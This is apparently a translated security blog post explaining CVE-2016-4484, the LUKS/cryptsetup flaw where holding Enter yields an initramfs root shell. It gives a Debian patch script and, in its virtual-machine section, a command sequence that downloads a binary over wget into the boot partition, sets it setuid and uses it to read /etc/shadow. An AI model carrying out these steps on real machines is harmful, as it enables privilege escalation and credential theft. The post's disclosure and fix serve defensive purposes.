双按键入侵:CVE-2016-4484 LUKS加密启动漏洞解析

本文详细分析了CVE-2016-4484漏洞,该漏洞允许攻击者通过按住Enter键进入Linux系统的root shell,尽管加密磁盘仍受保护,但可导致权限提升、信息泄露和拒绝服务攻击。文章提供了Debian系统的修复脚本,并讨论了虚拟环境中的利用场景。

双按键入侵

Logan Lembke //

步骤一:开机。步骤二:按住Enter。步骤三:???? 步骤四:获利。

在安全行业,我们热爱加密技术。然而,有时加密引入的复杂性可能会在未来反咬我们一口。上周五(11月11日)在维也纳的DeepSec 2016上宣布了一个严重案例。

CVE-2016-4484:在启动大多数启用硬盘加密(LUKS)的Linux计算机后,只需按住Enter键即可进入root shell。

听起来很糟糕,确实如此。然而,您获得的shell功能严重受限,加密磁盘仍然加密。幸运的是,这意味着潜在攻击者无法访问系统上的大部分数据。

但该发现的作者Hector Marco和Ismael Ripoll迅速指出,该漏洞仍可用于恶意活动,例如:

  • 权限提升:由于启动分区通常未加密:
    • 可用于存储设置了SetUID位的可执行文件,之后可由本地用户用于提升权限。
    • 如果启动未受保护,则可以替换内核和initrd映像。
  • 信息泄露:可以访问所有磁盘。尽管系统分区已加密,但可以复制到外部设备,之后进行暴力破解。显然,可以访问其他设备中的未加密信息。
  • 拒绝服务:攻击者可以删除所有磁盘上的信息。

(引自 http://hmarco.org/bugs/CVE-2016-4484/CVE-2016-4484_cryptsetup_initrd_shell.html

如何修复此问题?

遗憾的是,此错误出现在多个不同的代码库中,使其更难修复。在基于Debian的系统上,此问题存在于cryptsetup包中;在基于RHEL的系统上,问题在于dracut包。在撰写本文时,我尚未听说基于mkinitcpio的系统是否受影响。

在基于Debian的系统上,错误是由cryptsetup附带的cryptroot shell脚本中的off-by-one错误引起的。Marco和Ripoll在此处解释了错误。(链接至 http://hmarco.org/bugs/CVE-2016-4484/CVE-2016-4484_cryptsetup_initrd_shell.html)官方补丁已推送到Debian的不稳定和测试存储库,但尚未推送到稳定分支。此外,Ubuntu尚未向任何存储库推送补丁。

在等待官方补丁的同时,您可以运行以下基于Marco和Ripoll建议修复的脚本来保护系统。

CVE-2016-4484-Debian-Fix

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/bin/sh

perl -i -lpe '

if (/^[\s]+count=0/){

        print "\tsuccess=0";

};

if (/^[\s]+message "cryptsetup: \$crypttarget set up successfully"/){

        print "\t\tsuccess=1";

};

' /usr/share/initramfs-tools/scripts/local-top/cryptroot

perl -i -0777 -pe '

s/[\s]+if \[ \$crypttries -gt 0 \] && \[ \$count -gt \$crypttries \];

then[\s]+message "cryptsetup: maximum number of tries exceeded for

\$crypttarget"[\s]+return 1/\n\tif [ \$success -eq 0 ];

then\n\t\tmessage \"cryptsetup: Maximum number of tries exceeded. 
Please

reboot.\"\n\t\twhile true; do\n\t\t\tsleep 100\n\t\tdone/

' /usr/share/initramfs-tools/scripts/local-top/cryptroot

update-initramfs -u

不幸的是,我无法为基于RHEL的系统上的dracut提供修复。Dracut是一个基于事件的工具,用于生成启动Linux系统时使用的初始ram磁盘,我不太熟悉其代码库。然而,修复可能很简单,但在查看代码后,我并未快速注意到如何修复。

同时,请在此处查看官方补丁的进展:

是时候开始工作了!

谁关心需要物理访问的漏洞?

虽然利用此漏洞需要物理访问,但在虚拟环境中仍然致命。想象一下攻击者正在窥探您的hypervisor。利用此漏洞,攻击者可以轻松提升其在加密虚拟机上的权限。

攻击者等待虚拟机关闭,跳入root shell,挂载未加密的启动分区,将一些程序加载到其中,设置程序的sticky bit,关闭虚拟机,并等待某人重新登录。现在,攻击者只需运行他们加载到启动分区中的程序即可获得root访问权限。

用于执行此攻击的命令大致如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
## 使用CVE 2016 4484进入shell

# 挂载启动分区
mkdir /boot
mount /dev/sda1 /boot

# 设置IP地址以接收可执行文件
# 注意:initramfs中包含的busybox可执行文件不适用于sticky bit
ip address add 192.168.0.74/24
ifconfig ens33 up

# 在另一台计算机上提供/usr/bin (192.168.0.100/24)
# 下载nano到启动分区
cd /boot
wget 192.168.0.100/nano

# 设置sticky bit
chmod 4755 nano

# 关机
cd ..
umount /dev/sda1
poweroff

# 等待并获取对权限不足帐户的访问权限
/boot/nano /etc/shadow

# 胜利。

注意:这是在Ubuntu Server 16.04上测试的。Fedora 24似乎不易受此攻击影响,因为默认情况下dracut shell中不包含chmod。然而,dracut默认包含vi,它应该容易受到sticky bit攻击。

如何防止这些类型的漏洞?

与此漏洞相关的代码都是开源的。只是没有足够的关键读者审查代码。作为这些非常流行项目的用户,我们有责任偶尔参与代码审查过程。不仅是这些项目的贡献者失败了。我们也失败了。下次您使用对业务或日常习惯至关重要的技术时,检查其源代码是否可用。浏览一下。看看您是否能捕捉到创建它时的一些巧妙之处。如果您不懂代码,请查看项目的wiki和错误跟踪器。我们常常对软件视而不见,当这样的漏洞出现时,我们才会惊呼。

在官方披露中了解更多关于CVE-2016-4484的信息。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计